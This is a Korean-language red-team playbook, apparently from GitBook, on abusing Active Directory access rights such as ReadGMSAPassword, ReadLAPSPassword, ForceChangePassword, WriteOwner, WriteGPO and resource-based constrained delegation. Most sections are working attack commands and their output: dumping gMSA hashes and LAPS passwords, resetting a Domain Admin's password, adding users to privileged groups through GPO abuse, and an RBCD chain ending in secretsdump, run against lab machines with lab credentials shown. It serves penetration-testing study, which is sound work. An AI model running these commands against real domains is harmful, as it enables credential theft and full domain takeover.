All pages
Powered by GitBook
1 of 14

DACL

DACL은 Discretionary Access Control List로 Windows에서 사용하는 권한 관리 개념입니다.

개체에 대한 엑세스 허용/거부된 사용자와 그룹을 관리하여

허용된 사용자가 아닌 다른 접근은 엑세스를 거부할 수 있습니다.

즉 특정 파일이나 리소스로 누가 무엇에 대한 권한이 어떤지를 결정하는 규칙 목록입니다.

References

LogoWhat is DACL (Discretionary Access Control List)?

ReadGMSAPassword

gMSA는 Group Managed Service Account의 약어로 Windows Server 환경에서 사용되는 특별한 유형의 관리 서비스 계정입니다. 일반적인 서비스 계정보다 더 강화된 보안을 제공하며, 여러 서버나 컴퓨터에서 하나의 계정을 공유할 수 있도록 설계되었습니다. 이 중에서도 ReadGMSAPassword 권한은 특정 사용자나 그룹이 GMSA 계정의 암호를 읽을 수 있도록 하는 권한입니다.

gMSA는 AD에서 자동으로 관리되므로 패스워드 관리 문제에 관한 솔루션이기도 합니다. 예를 들어 모든 서비스 계정에 30일마다 매우 복잡한 고유 비밀번호가 제공되므로 관리자는 서비스 계정의 비밀번호 재설정에 대해서 자유롭습니다. 따라서 이러한 그룹에 속해있는 사용자 계정을 탈취한다면 gMSA 서비스를 통해 해당 계정의 암호에 접근할 수 있는 권한을 가집니다.

위 사진은 쿠버네티스 환경에서 GMSA의 역할에 대해서 알려주고 있습니다. 컨테이너에서 AD에 등록되어 있는 서비스 예를 들면 SQL Server나 IIS 등을 이용하기 위해서는 해당 서비스에 대해 계정정보를 알아야 합니다. 이때 컨테이너 여러개에서 동일한 서비스 계정에 접근하기 위해서는 패스워드 관리가 필요할 것이며, 서비스 패스워드를 관리자가 매번 관리하는 것보다는 자동화된 프로그램을 통해서 강력한 패스워드 정책을 준수한 패스워드로 설정하는 것이 나을 것입니다. 위 사진 속 과정을 설명하면 다음과 같습니다.

  1. Windows Pod는 쿠버네티스 API에서 사용 가능한 GMSACredentialSpec을 참조합니다.그리고 웹훅은 Windows Pod가 GMSACredentialSpec을 참조할 수 있는 권한이 있는지를 확인합니다. 마지막으로 웹 훅은 GMSACredentialSpec을 Pod의 전체 JSON 형식으로 확장합니다.

  2. Windows 노드에서 실행되는 ccg.exe 프로세스는 PluginID 필드의 CredSpec에 지정된 플러그인을 시작한 다음 AWS Secrets Manager 또는 AWS System Manager Parameter Store에서 이식 가능한 ID 자격 증명을 검색합니다.

  3. ccg.exe는 휴대용 ID 자격 증명을 사용하여 AWS 관리 AD 또는 Amazon EC2 자체관리 AD를 인증하고 GMSA 비밀번호를 검색합니다.

  4. ccg.exe는 GMSA 비밀번호를 Windows Pod에서 사용할 수 있도록 해줍니다.

  5. Windows Pod는 GMSA 비밀번호를 사용하여 AW 관리 AD 또는 Amazon EC2 자체 관리 AD에 대해 인증하고 커버로스 TGS를 얻습니다.

  6. Windows Pod에서는 TGS를 통해 서비스 이용 가능

쉽게 요약하면 다음과 같습니다.

  1. Windows Pod가 GMSACredentialSpec에 접근할 권한이 있는지 웹훅이 확인하며 권한이 있다면 해당 정보를 JSON 포맷으로 전달

  2. ccg.exe는 AD에 접근하기 위해서 인증 정보를 얻기 위해 AWS Server Manager에서 휴대용 ID 자격 증명을 획득

  3. ccg.exe는 획득한 자격증명을 토대로 AWS 관리 AD 혹은 Amazon EC2 자체관리 AD에 자격 증명을 인증하고 GMSA 패스워드를 검색

  4. 획득한 패스워드를 Windows Pod에 전달

  5. Windows Pod는 해당 패스워드를 가지고 Kerberos 인증을 통해 TGS를 발급

  6. 획득한 TGS를 통해서 Pod는 Service 이용이 가능

탈취한 계정이 ReadGMSAPassword 권한이 있는 계정 혹은 그룹, 도메인, 컨테이너라면 우리는 사실상 해당 계정을 장악했다고 봐도 무방합니다. 서버에 Remote PowerShell같은 권한이 있어서 원격 접속이 가능하다면 NT Hash나 gMSA를 가져와서 그 계정의 권한으로 동작을 수행할 수도 있고 SMB나 LDAP 등에 접속하여 크리덴셜 정보를 빼오는 것 또한 가능합니다.

Practice

SIERRA 계정은 BIRMINGHAN-ITSEC 그룹의 멤버입니다. 그리고 이 그룹은 ITSEC의 멤버이기 때문에 SIERRA 계정은 ITSEC 그룹의 권한을 가집니다. 즉 ITSEC이 가진 ReadGMSAPassword 권한을 SIERRA가 가진 것과 동일한데, BIR-ADFS-GMSA 계정에 대한 GMSA를 가지게 되어서 활동이 가능하다면 TRISTAN 계정에 GenericAll 권한이 있기 때문에 TRISTAN 계정의 패스워드 변경이 가능합니다. 또 TRISTAN 계정은 DOMAIN ADMINS 그룹의 구성원이기 때문에 TRISTAN 계정의 패스워드를 BIR-ADFS-GMSA 권한으로 변경한다면 TRISTAN 계정으로 로그인이 가능할 것이고, 이 계정은 DOMAIN ADMINS 권한을 갖는 것이죠. 파워쉘에서 특정 사용자 권한으로 다른 사용자의 패스워드를 변경할 때는 2가지 조건이 필요합니다.

  1. 패스워드를 변경할 사용자의 계정에 대해서 패스워드 변경 권한이 있는 사용자의 계정 정보

  2. 파워쉘 명령어를 입력할 수 있는 프롬포트

현재 2가지 조건을 모두 만족하기 때문에 tristan.davies 계정의 패스워드를 BIR-ADFS-GMSA 권한으로 변경해줍니다.

$gmsa = Get-ADServiceAccount -Identity 'BIR-ADFS-GMSA' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'
$mpl = ConvertFrom-ADManagedPasswordBlob $mp
$user = 'BIR-ADFS-GMSA$'
$password = $mpl.'CurrentPassword'
$secpass = ConvertTo-SecureString $password -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($user, $secpass)

위와 같은 명령으로 BIR-ADFS-GMSA 계정의 정보를 cred 변수에 저장합니다.

Invoke-Command -Computername 127.0.0.1 -ScriptBlock {Set-ADAccountPassword -Identity tristan.davies -reset -NewPassword (ConvertTo-SecureString -AsPlainText 'password123!' -Force)} -Credential $cred

그 다음 커맨드를 입력하여 tristan.davies 의 패스워드를 password123!로 초기화 시킵니다. 이렇게 했을 때 우리는 tristan.davies 사용자 계정의 정보를 획득했고, impacket-wmiexec 모듈을 통해 원격 접속이 가능합니다.

LogoGitHub - micahvandeusen/gMSADumper: Lists who can read any gMSA password blobs and parses them if the current user has access.GitHub

ReadGMSAPassword 권한이 있는 계정에 원격 쉘 접속이 없는 경우에는 NT 해쉬 값을 가져오는 Python 파일을 사용할 수 있습니다. GitHub로부터 파일을 가져온 뒤, 로컬에서 획득한 ReadGMSAPassword 권한이 있는 사용자의 정보를 입력해줍니다.

┌──(root㉿kali)-[~/Pentest/Scripts]
└─# python3 gMSADumper.py -u 'Sierra.Frye' -p '$$49=wide=STRAIGHT=jordan=28$$18' -d search.htb
Users or groups who can read password for BIR-ADFS-GMSA$:
 > ITSec
BIR-ADFS-GMSA$:::e1e9fd9e46d0d747e1595167eedcec0f
BIR-ADFS-GMSA$:aes256-cts-hmac-sha1-96:06e03fa99d7a99ee1e58d795dccc7065a08fe7629441e57ce463be2bc51acf38
BIR-ADFS-GMSA$:aes128-cts-hmac-sha1-96:dc4a4346f54c0df29313ff8a21151a42

유효한 권한을 가졌다면 획득할 수 있는 GMSA 계정에 질의를 하고 획득한 사용자의 NT Hash 정보를 출력해줍니다. NT Hash 정보로는 사실상 대부분의 서비스에서 패스워드와 동일하게 취급받기 때문에 SMB, LDAP과 같은 서비스에 BIR-ADFS-GMSA$ 사용자 계정으로 로그인이 가능합니다.

┌──(root㉿kali)-[~/Pentest/Scripts]
└─# nxc smb 10.10.11.129 -u 'BIR-ADFS-GMSA$' -H e1e9fd9e46d0d747e1595167eedcec0f    
SMB         10.10.11.129    445    RESEARCH         [*] Windows 10 / Server 2019 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.129    445    RESEARCH         [+] search.htb\BIR-ADFS-GMSA$:e1e9fd9e46d0d747e1595167eedcec0f 
nxc ldap <IP> -u <USER> -p <PASS> --gmsa
# ReadGMSAPassword 권한이 있는 계정의 티켓 발급
impacket-getTGT -dc-ip <dc-ip> <domain/username:password>

# 티켓 익스포트
export KRB5CCNAME=<ccache name>

# GMSAPassword 덤프
bloodyAD --host <FQDN> -d <domain> --dc-ip <dc-ip> -k get object <Target> --attr msDS-ManagedPassword

References

LogoGitHub - micahvandeusen/gMSADumper: Lists who can read any gMSA password blobs and parses them if the current user has access.GitHub
LogoAttacking Group Managed Service Accounts (gMSA)Medium
LogoAD-DACL | 레드팀 플레이북

ReadLAPSPassword

LAPS는 Local Administrator Password Solution으로 Microsoft에서 배포한 로컬 관리자 패스워드 솔루션입니다. 이 솔루션을 사용할 경우 도메인 내 각 머신에 있는 로컬 관리자 계정(RID 값이 500이거나 사용자 정의 계정)의 패스워드를 주기적으로 변경합니다. 솔루션을 도입 시 컴퓨터 객체에는 ms-Mcs-AdmPwd와 ms-Mcs-AdmPwdExpirationTime 두개의 속성이 추가됩니다. ms-Mcs-AdmPwd 는 LAPS 솔루션에 포함된 도메인 내 로컬 관리자 계정들에게 읽기 권한이 있으며, 이곳에서 모든 로컬 관리자 패스워드를 확인할 수 있습니다. 따라서 LAPS 관리자에 속하는 도메인 로컬 관리자 계정을 장악 시, 다른 로컬 관리자 계정으로 측면 이동이 가능합니다.

LAPS를 사용하는 객체만을 열거하기 위해 ms-Mcs-AdmPwdExpirationTime 속성이 null 값이 아닌 객체를 찾는 방법이 있습니다. 또한 ms-Mcs-AdmPwd 읽기 권한이 있는 객체를 열거하는 방법을 사용하여 로컬 관리자 권한을 획득하기 위해 어떤 객체를 타겟해야 할지 선정할 수 있습니다.

# ms-Mcs-AdmPwdExpirationTime 속성이 null이 아닌 객체 열거
Get-DomainComputer | ? { $_."ms-Mcs-AdmPwdExpirationTime" -ne $null } | select dnsHostName

# 각 컴퓨터 객체의 DACL을 읽어 ms-Mcs-AdmPwd 속성을 읽을 수 있는 객체를 열거
Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "ms-Mcs-AdmPwd" -and $_.ActiveDirectoryRights -match "ReadProperty" } | select ObjectDn, SecurityIdentifier

# 열거된 SID 주체 확인
ConvertFrom-SID <SID>

# 컴퓨터의 ms-Mcs-AdmPwd 속성 읽기
Get-DomainComputer -Identity <Machine> -Properties ms-Mcs-AdmPwd

Practice

*Evil-WinRM* PS C:\windows\temp> net groups LAPS_Readers
Group name     LAPS_Readers
Comment

Members

-------------------------------------------------------------------------------
svc_deploy
The command completed successfully.

획득한 쉘인 svc_deploy 사용자는 LAPS_Readers 그룹에 소속되어 있습니다. 현재 쉘에서 LAPS에서 관리하는 모든 관리자 계정에 대한 ms-Mcs-AdmPwd 값을 가져오는 명령은 다음과 같습니다.

*Evil-WinRM* PS C:\windows\temp> Get-ADComputer -Filter * -Property 'ms-Mcs-AdmPwd'
                                            
                                            
DistinguishedName : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb                   
DNSHostName       : dc01.timelapse.htb      
Enabled           : True           
ms-Mcs-AdmPwd     : n((r2Ep}U@3&pw/v;1G%4SFr 
Name              : DC01              
ObjectClass       : computer
ObjectGUID        : 6e10b102-6936-41aa-bb98-bed624c9b98f
SamAccountName    : DC01$
SID               : S-1-5-21-671920749-559770252-3318990721-1000
UserPrincipalName :

이로써 로컬 관리자의 패스워드를 탈취했습니다.

만약 명령 프롬포트 환경을 갖지 못했다면 cme에서 제공하는 laps 모듈을 사용하여 LAPS에 저장된 패스워드 목록을 확인할 수 있습니다.

┌──(root㉿kali)-[~/Pentest/Machine]
└─# crackmapexec ldap 10.10.11.152 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -M laps
SMB         10.10.11.152    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.152    389    DC01             [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV 
LAPS        10.10.11.152    389    DC01             [*] Getting LAPS Passwords
LAPS        10.10.11.152    389    DC01             Computer: DC01$                Password: n((r2Ep}U@3&pw/v;1G%4SFr

References

LogoWindows LAPS overviewMicrosoftLearn

ForceChangePassword

ForceChangePassword는 Active Directory에서 사용되는 권한입니다. Active Directory에서 사용되는 권한인 ForceChangePassword는 Alice 사용자가 Bob 사용자에 대한 권한이 있을 시 Bob 사용자의 패스워드를 임의로 변경해버릴 수 있는 권한입니다.

침투자 혹은 공격자의 입장에서 프롬프트 환경을 사용하지 못한다고 하더라도 msrpc, SMB 등의 프로토콜이 실행중이라면 원격 명령 실행을 통해 변경할 수 있습니다. 현재 실습 환경에서는 wiki 사용자가 pentesting 사용자에 대한 ForceChangePassword 권한이 있기 때문에 원격으로 pentesting 사용자의 패스워드를 변경할 수 있습니다.

msrpc가 실행중인 서버의 경우 setuserinfo2를 통해서 변경 권한이 있는 유저에 한해서 유저 정보 변경이 가능합니다. RPC 원격 접속을 변경 권한이 존재하는 support 계정으로 접속했기 때문에 audit2020 계정에 한해서 setuserinfo2 모듈 사용을 통한 정보 변경이 가능합니다. setuserinfo2 모듈에서 패스워드 변경은 23번이며 기본 포맷은 다음과 같습니다.

setuserinfo2 <Target> 23 <New PASS>

명령 실행 이후엔 패스워드가 변경되어 기존의 password123@에서 password321!로 변경된 뒤 로그인이 성공합니다.

┌──(root㉿kali)-[~]
└─# rpcclient -U wiki 10.0.2.10                                                                  
Password for [WORKGROUP\wiki]:
rpcclient $> setuserinfo2 pentesting 23 password321!
rpcclient $> exit
                                                                                                                                                                                                                                           
┌──(root㉿kali)-[~]
└─# nxc smb 10.0.2.10 -u pentesting -p password321!
SMB         10.0.2.10       445    DC01             [*] Windows Server 2016 Datacenter Evaluation 14393 x64 (name:DC01) (domain:offsec.local) (signing:True) (SMBv1:True)
SMB         10.0.2.10       445    DC01             [+] offsec.local\pentesting:password321! 

SMB를 통한 패스워드 원격 변경은 impacket-changepasswd 모듈을 사용합니다. 기본적인 포매팅은 다음과 같습니다.

impacket-changepasswd -altuser <USER> -altpass <PASS> <Domain>/<Target>@<DC-IP> -reset

명령을 입력하면 기존의 패스워드는 password123@로 로그인했지만 실행 이후엔 password123!로 로그인이 되는 것을 확인할 수 있습니다.

┌──(root㉿kali)-[~]
└─# impacket-changepasswd -altuser pentesting -altpass password123@ offsec/pentesting@10.0.2.10 -reset
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

New password: 
Retype new password: 
[*] Setting the password of offsec\pentesting as offsec\pentesting
[*] Connecting to DCE/RPC as offsec\pentesting
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.
                                                                                                                                                                                                                                           
┌──(root㉿kali)-[~]
└─# nxc smb 10.0.2.10 -u pentesting -p password123!                                                   
SMB         10.0.2.10       445    DC01             [*] Windows Server 2016 Datacenter Evaluation 14393 x64 (name:DC01) (domain:offsec.local) (signing:True) (SMBv1:True)
SMB         10.0.2.10       445    DC01             [+] offsec.local\pentesting:password123! 
bloodyAD --host <Target IP> -d <Domain> -u <USER> -p <PASS> set password <Target USER> <Target New PASS>

References

LogoForceChangePasswordThe Hacker Recipes

AddSelf

AddSelf는 자신을 특정 그룹에 추가할 때 스스로의 권한으로 위임할 수 있는 권한입니다.

# AddSelf 권한이 있는 사용자 자격증명을 객체로 저장
$SecPassword = ConvertTo-SecureString '<PASS>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<Domain>\<USER>', $SecPassword)

# 저장한 객체정보를 권한이 있는 그룹에 위임
Add-DomainGroupMember -Identity '<Group>' -Members '<USER>' -Credential $Cred

# 그룹의 멤버를 확인하여 정상적으로 위임이 되었는지 확인
Get-DomainGroupMember -Identity '<Group>'
bloodyAD.py -u <USER> -p <PASS> -d <Domain> --host <IP> add groupMember <Group> <USER>

Practice

실습 환경에서 장악한 oorend 사용자는 servicemgmt 그룹에 AddSelf 권한이 있습니다. oorend 계정으로 파워쉘을 획득할 수 있는 경로는 없었기 때문에 bloodyAD를 이용하여 ServiceMgmt 그룹에 멤버쉽을 위임하는 실습을 진행합니다.

# ServiceMgmt 그룹에 oorend 사용자를 추가
└─# python3 bloodyAD.py -u oorend -p '1GR8t@$$4u' -d rebound.htb --host 10.10.11.231 add groupMember ServiceMgmt oorend                        
[+] oorend added to ServiceMgmt

# oorend 사용자에 Service User OU에대한 GenericAll 권한 위임                                                                                                                                        
└─# python3 bloodyAD.py -u oorend -p '1GR8t@$$4u' -d rebound.htb --host 10.10.11.231 add genericAll 'OU=SERVICE USERS,DC=REBOUND,DC=HTB' oorend
[+] oorend has now GenericAll on OU=SERVICE USERS,DC=REBOUND,DC=HTB

실습에서 따로 oorend 사용자에게 Service User OU에 대해서 GenericAll 권한을 준 이유는 상속 과정에서 그룹의 권한 중 OU에 대한 GenericAll 권한이 위임되지 않을 수도 있기 때문입니다.

References

LogoAddSelfBloodHound

WriteOwner

대상 개체에 대한 소유권을 변경할 수 있는 권한으로, 소유권이 변경되면 개체의 유형에 따라 공격 방식이 다르지만, 기본적으로 WriteDACL을 이용하여 GenericAll 권한을 위임할 수 있습니다. 아래는 개체의 유형 별 가능한 공격을 간단하게 정리한 테이블입니다.

분류
권한 악용

User

소유권 변경 → GenericAll 권한 위임

Group

소유권 변경 → AddMembers 권한 위임

Computer

소유권 변경 → GenericAll 권한 위임

Domain

소유권 변경 → DCSync

Abuse

User

WriteOwner 권한이 있는 상태에서 impacket 모듈 두가지를 사용하여 소유권을 변경합니다.

# 소유권 변경
impacket-owneredit -action write -new-owner <USER> -target <Target> <Domain>/<USER>:<PASS>

# impacket을 이용한 GenericAll 권한 위임
impacket-dacledit -action write -rights FullControl -principal <USER> -target <Target> <Domain>/<USER>:<PASS>      

# PowerView.ps1을 이용한 GenericAll 권한 위임
Add-DomainObjectAcl -Rights "all" -TargetIdentity <Target> -PrincipalIdentity <USER>        

Group

그룹에 대해 WriteOwner 권한이 있는 경우 소유권을 변경한 뒤 AddMembers 권한을 위임합니다.

# 소유권 변경
impacket-owneredit -action write -new-owner <USER> -target <Target> <Domain>/<USER>:<PASS>

# WriteDACL을 이용한 WriteMembers 권한 위임
impacket-dacledit -action write -rights WriteMembers -principal <USER> -target <Target> <Domain>/<USER>:<PASS>

Computer

컴퓨터에 대한 WriteOwner 권한은 해당 머신 계정에 대한 GenericAll 권한 위임이 가능합니다.

# 소유권 변경
impacket-owneredit -action write -new-owner <USER> -target <Target> <Domain>/<USER>:<PASS>

# WriteDACL을 이용한 GenericAll 권한 위임
impacket-dacledit -action write -rights FullControl -principal <USER> -target <Target> <Domain>/<USER>:<PASS>                                               

References

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Recon/PowerView.ps1
LogoBaby2: VulnLabMedium
LogoWriteOwner | 레드팀 플레이북

GenericAll

개체에 대한 모든 제어가 가능하며 사실상 개체로 로그인 한 것과 동일한 수준의 권한입니다. 개체의 유형이 어떤 것이냐에 따라 악용할 수 있는 공격이 다르며 아래는 개체의 유형 별 공격을 간단하게 정리한 테이블입니다.

분류
권한 악용

User

Targeted Kerberoast, Shadow Credentials, ForceChangePassword

Computer

Shadow Credentials, ReadLAPSPassword

Group

AddMembers

OU

OU 하위 객체 전체 장악

Template

ESC4

GPO

WriteGPO

References

LogoGenericAllBloodHound

GenericWrite

이 권한은 대상 개체의 모든 비보호 속성에 쓰기 권한이 부여됩니다. 어떤 개체에 할당된 권한이냐에 따라서 악용할 수 있는 방법이 다르며 아래는 간단한 매핑 테이블입니다.

분류
권한 악용

User

Shadow Credentials, Targeted Kerberoast

Group

AddMembers

Computer

Shadow Credentials

Template

ESC4

Domain

DCSync

References

LogoGenericWriteBloodHound

WriteSPN

WriteSPN 권한이 있는 개체는 공격자가 SPN을 등록할 수 있습니다. 도메인에 SPN을 등록하면 잠재적으로 Kerberoasting공격에 취약해지기며 이러한 방식을 사용해서 NT Hash 크래킹을 시도할 수 있습니다.

# 명령어 양식
python3 targetedKerberoast.py -v -d <Domain> -u <USER> -p <PASS> --request-user <Target> --only-abuse
# 권한이 있는 사용자 개체 정보 변수화
$SecPassword = ConvertTo-SecureString <PASS> -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential(<Domain>/<USER>, $SecPassword)

# 도메인 객체 정보 저장
Set-DomainObject -Credential $Cred -Identity <Target> -SET @{serviceprincipalname='nonexistent/HTTP'}

# SPN 등록
Get-DomainSPNTicket -Credential $Cred <Target> | fl

# 공격 후 SPN 정리
Set-DomainObject -Credential $Cred -Identity <Target> -Clear <SPN>

References

LogoWriteSPNBloodHound

AddMembers

AddMembers 권한은 그룹에 멤버를 추가할 수 있는 권한입니다. AddSelf 권한과의 차이점은 AddSelf는 권한 소유자를 그룹에 스스로 추가하는 것 뿐이지만 AddMembers 권한은 그룹 자체에 대한 멤버 추가 권한이기 때문에 권한 소유자 외 다른 사용자도 그룹에 추가시킬 수 있습니다.

# 명령어 양식
bloodyAD --host <DC-IP> -d <Domain> -u <USER> -p <PASS> add groupMember <Group> <Target>
# 개체 정보 변수화
$pwd = ConvertTo-SecureString <PASS> -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential(<DOMAIN\USER>, $pwd)

# 그룹에 사용자 추가
Add-DomainGroupMember -Credential $creds -Identity <Group> -Members <USER> -Verbose

# 그룹 사용자 조회
Get-DomainGroupMember -Identity <Group> | Select <USER>

# 그룹에 사용자 삭제
Remove-DomainGroupMember -Credential $Cred

References

LogoAddMember | The Hacker Recipes
LogoAbusing Active Directory ACLs/ACEsHackTricks

WriteProperty

WriteGPO

WriteGPO는 공식적으로 존재하는 DACL이나 명칭은 아닙니다. 장악한 계정이 GPO에 대한 GenericAll과 같은 권한이 있어서 수정이 가능할 때 악용 가능한 시나리오 중 하나이지만, 성질이 다른 것과 상이하기 때문에 별도의 설명을 위해서 임의로 만든 이름입니다.

도메인의 GPO를 수정할 권한이 있다면, 특정 유저를 도메인 관리자로 임명하는 등 정책 변경을 통한 도메인 장악이 가능합니다. GPO 정책 변경을 위해서 pygpoabuse.py 사용할 수 있습니다. 변경에 필요한 몇가지 조건은 다음과 같습니다.

  • GPO에 대한 쓰기 권한

  • GPO ID

  • 권한이 있는 사용자의 계정 정보

조건이 모두 만족된다면 다음 명령어를 통해서 권한이 있는 사용자를 도메인 관리자 그룹에 추가할 수 있습니다.

# 명령어 양식
pygpoabuse.py <Domain>/<USER>:<PASS> -gpo-id <GPO ID> -dc-ip <DC-IP> -command 'net localgroup Administrators /add <USER>' -f

# 실습
└─# python3 pygpoabuse.py baby2.vl/gpoadm:Password123! -gpo-id 31B2F340-016D-11D2-945F-00C04FB984F9 -dc-ip baby2.vl -command 'net localgroup Administrators /add gpoadm' -f
SUCCESS:root:ScheduledTask TASK_291c1c8d created!
[+] ScheduledTask TASK_291c1c8d created!

# 결과 확인
*Evil-WinRM* PS C:\> net localgroup Administrators
Alias name     Administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
gpoadm

References

LogoGitHub - Hackndo/pyGPOAbuse: Partial python implementation of SharpGPOAbuseGitHub
LogoBaby2: VulnLabMedium

AddAllowedToAct

AddAllowedToAct 권한은 Kerberos 프로토콜에 대해서 리소스 기반의 제약된 위임을 할 수 있는 권한입니다. RBCD를 비롯하여 Delegation의 종류 3가지는 모두 컴퓨터에 있는 리소스를 주체로 하여금 제약 위임 목록을 관리하는 시스템이라 컴퓨터 계정에 국한하여 BloodHound로부터 이 관계를 확인할 수 있습니다. RBCD는 Resource-Based Constrained Delegation으로 자세한 설명은 이곳을 참조합니다.

이 권한을 직접 설정하기 위해서는 설정을 원하는 컴퓨터 계정의 Properties > Security > User > Write msDS-AllowedToActOnBehalfOfOtherIdentity 속성을 체크 표시로 변경합니다.

권한이 있을 때 공격자는 타겟 머신의 RBCD를 허가할 계정을 등록해야 합니다. 이때 MAQ 값이 1 이상인 경우 직접 장악한 계정으로부터 새로운 머신 계정을 생성하여 생성한 머신을 RBCD를 통해 제약 위임 권한을 등록하여 머신을 통해서 다른 사용자의 TGT를 발급받을 수 있습니다. 하지만 MAQ 값이 0이라고 하더라도 장악한 계정을 RBCD에 등록하여 사용 가능합니다.

Abuse

권한을 악용하기 위해서는 타겟 머신의 RBCD에 허용할 계정을 등록해야 합니다. 등록할 계정은 임의로 머신 계정을 생성합니다.

# 새로운 머신 계정 생성
impacket-addcomputer -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'

# 타겟의 RBCD에 계정 등록
impacket-rbdc -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'

# 등록된 계정을 통해 TGT 발급
impacket-getST -spn 'cifs/targetcomputer.testlab.local' -impersonate Administrator 'domain/attackersystem$:Summer2018!'
# 장악한 계정을 RFCD에 등록
impacket-rbcd -delegate-to <Target> -delegate-from <USER> -dc-ip <dc-ip> -action 'write' <Domain/USER:PASS>

# 계정의 TGT 발급
impacket-getTGT <Domain/USER> -hashed <NTLM>

# 발급된 TGT을 분석
impacket-describeTicket <Ticket>

# 계정의 NT Hash 값을 TGT 세션 키 값으로 변경
python3 smbpasswd.py <Domain/USER:PASS@DC FQDN>

# S4U2self를 통해서 도메인 관리자 ST 발급
impacket-getST -u2u -impersonate Administrator -spn 'cifs/<DC FQDN>' <Domain/USER> -k -no-pass

# 발급된 도메인 관리자 ST 환경 변수 등록
export KRB5CCNAME=<Service Ticket>

# 도메인 NT Hash 덤핑
impacket-secretsdump <DC FQDN> -k

References

https://lira.epac.to/DOCS/python3-impacket/examples/smbpasswd.py

AllExtendedRights

AllExtendedRights 권한은 도메인 객체에 대한 확장 권한으로 객체의 종류에 따라서 사용할 수 있는 공격이 달라집니다.

도메인 객체
악용

사용자

ForceChangePassword

컴퓨터

AddAllowedToAct

도메인

DCSync

References

LogoAbusing AD-DACL: AllExtendedRights - Hacking ArticlesHacking Articles